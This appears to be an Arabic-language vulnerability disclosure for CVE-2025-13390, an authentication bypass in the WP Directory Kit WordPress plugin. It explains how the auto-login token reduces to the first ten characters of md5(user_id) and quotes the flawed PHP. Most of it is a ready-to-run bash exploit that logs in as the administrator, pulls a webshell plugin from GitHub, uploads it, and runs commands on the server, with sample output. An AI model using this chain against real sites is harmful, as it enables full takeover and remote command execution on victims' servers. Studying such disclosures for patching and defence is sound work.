
WP Directory Kit <= 1.4.4 - تجاوز المصادقة إلى تصعيد الامتيازات عبر الاستيلاء على الحساب
إضافة WP Directory Kit لإصدار WordPress 1.4.4 وما دونه تحتوي على تجاوز للمصادقة في وظيفة تسجيل الدخول التلقائي. تسمح الثغرة للمهاجمين غير الموثقين بالحصول على وصول إداري لمواقع WordPress من خلال استغلال آلية توليد رمز مميز ضعيفة تشفيرياً. لا يمكن تعطيل ميزة تسجيل الدخول التلقائي وتستخدم رمزاً مميزاً يمكن توقعه مشتقاً فقط من تجزئة MD5 لمعرف المستخدم.
يقوم ملف CVE-2025-13390.sh برفع إضافة غلاف ويب (webshell) إلى الموقع المستهدف على افتراض أن معرف المستخدم 1 هو مدير.
./CVE-2025-13390.sh
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete
تقوم إضافة WP Directory Kit بتنفيذ ميزة تسجيل الدخول التلقائي التي تسمح للمستخدمين بالمصادقة دون إدخال بيانات الاعتماد عن طريق زيارة رابط يحتوي على معامل user_id و token. هذه الميزة مخصصة لسيناريوهات تسجيل الدخول بدون كلمة مرور، مثل عندما يتم إنشاء مستخدمين جدد تلقائياً وإرسال روابط تسجيل الدخول لهم عبر البريد الإلكتروني.
توجد الثغرة في منطق توليد الرمز المميز والتحقق منه الموجود في ملفين:
application/helpers/Basic.php:5132-5137):function wdk_generate_auto_login_link( $user_id = null ) {
$token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
$login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
return $login_url;
}
actions.php:116-130):add_action( 'init', function () {
if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
$user_id = (int) $_GET['user_id'];
$token = sanitize_text_field( $_GET['token'] );
if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
wp_set_auth_cookie( $user_id );
wp_redirect( home_url() );
exit;
} else {
wp_die( 'Wrong token.' );
}
}
});
يحتوي توليد الرمز المميز على خلل تشفيري خطير. يحاول الكود إنشاء رمز مميز عن طريق:
md5($user_id) - والذي ينتج سلسلة هيكس عشرية بطول 32 حرفاًNONCE_KEY (ثابت WordPress، طوله عادة 64 حرفاً)'wpdirectorykit'substr(..., 0, 10)بما أن md5($user_id) بطول 32 حرفاً، وتأخذ الدالة فقط أول 10 أحرف، يصبح الرمز المميز ببساطة أول 10 أحرف من تجزئة md5.
substr(md5($user_id), 0, 10)
على سبيل المثال، بالنسبة لـ user_id = 1:
md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 حرفاً هيكس عشري)substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (أول 10 أحرف من MD5 فقط)الثابت NONCE_KEY، الذي يفترض أن يوفر أماناً تشفيرياً، لا أهمية له تماماً لأنه يظهر بعد أول 10 أحرف من تجزئة MD5.
ملاحظة: في تثبيتات WordPress، المستخدم الأول الذي يتم إنشاؤه (مع user_id = 1) هو دائماً تقريباً مدير. يمكن تعداد معرفات المستخدمين الإداريين الآخرين واستخدامها بدلاً من ذلك حسب الحاجة.
وظيفة تسجيل الدخول التلقائي مبرمجة بشكل ثابت في ملف actions.php الخاص بالإضافة وهي نشطة دائماً عند تمكين الإضافة. لا يوجد خيار تكوين أو إعداد لتعطيل هذه الميزة. يتم توليد روابط تسجيل الدخول التلقائي وإرسالها في قوالب البريد الإلكتروني (انظر application/views/email/new_user_auto_created.php:55)، ولكن نقطة النهاية نفسها تكون دائماً في متناول اليد بغض النظر عن إعدادات البريد الإلكتروني.
عندما يرسل مهاجم طلباً إلى نقطة نهاية تسجيل الدخول التلقائي مع رمز مميز صالح (مثل /?auto-login=1&user_id=1&token=c4ca4238a0)، يقوم الكود المعرض للخطر في actions.php:123 باستدعاء دالة wp_set_auth_cookie() الخاصة بـ WordPress. تقوم هذه الدالة بإنشاء جلسة موثقة عن طريق تعيين ملفات تعريف ارتباط المصادقة في استجابة HTTP. تتضمن ملفات تعريف الارتباط هذه:
wordpress_logged_in_[hash] - تحتوي على معرف المستخدم ومعلومات المصادقةwordpress_[hash] - تحتوي على ملف تعريف ارتباط المصادقة لمنطقة الإدارةبمجرد تعيين ملفات تعريف الارتباط هذه، يتم معالجة متصفح المهاجم (أو السكريبت) كجلسة موثقة للمستخدم المحدد.
مع ملفات تعريف الارتباط الإدارية هذه، يمكن للمهاجم تثبيت إضافات خبيثة، وإنشاء مستخدمين إداريين، مما يؤدي إلى اختراق كامل للموقع.
يوضح السكريبت التالي سلسلة هجوم كاملة تستغل ثغرة تسجيل الدخول التلقائي للحصول على وصول إداري وتثبيت غلاف ويب:
#!/bin/bash
TARGET="https://examplesite.com"
echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"
echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"
echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip
echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"
echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
-F "_wpnonce=$INSTALL_NONCE" \
-F "pluginzip=@/tmp/webshell.zip" \
-F "install-plugin-submit=Install Now" \
"$TARGET/wp-admin/update.php?action=upload-plugin")
if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
echo "[+] Plugin installed successfully"
else
echo "[-] Installation may have failed. Checking response..."
echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi
echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")
if [ -n "$WEBSHELL_RESPONSE" ]; then
echo "[+] Webshell is accessible!"
echo "[+] Response:"
echo "$WEBSHELL_RESPONSE"
else
echo "[-] Webshell may not be accessible or returned empty response"
fi
# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"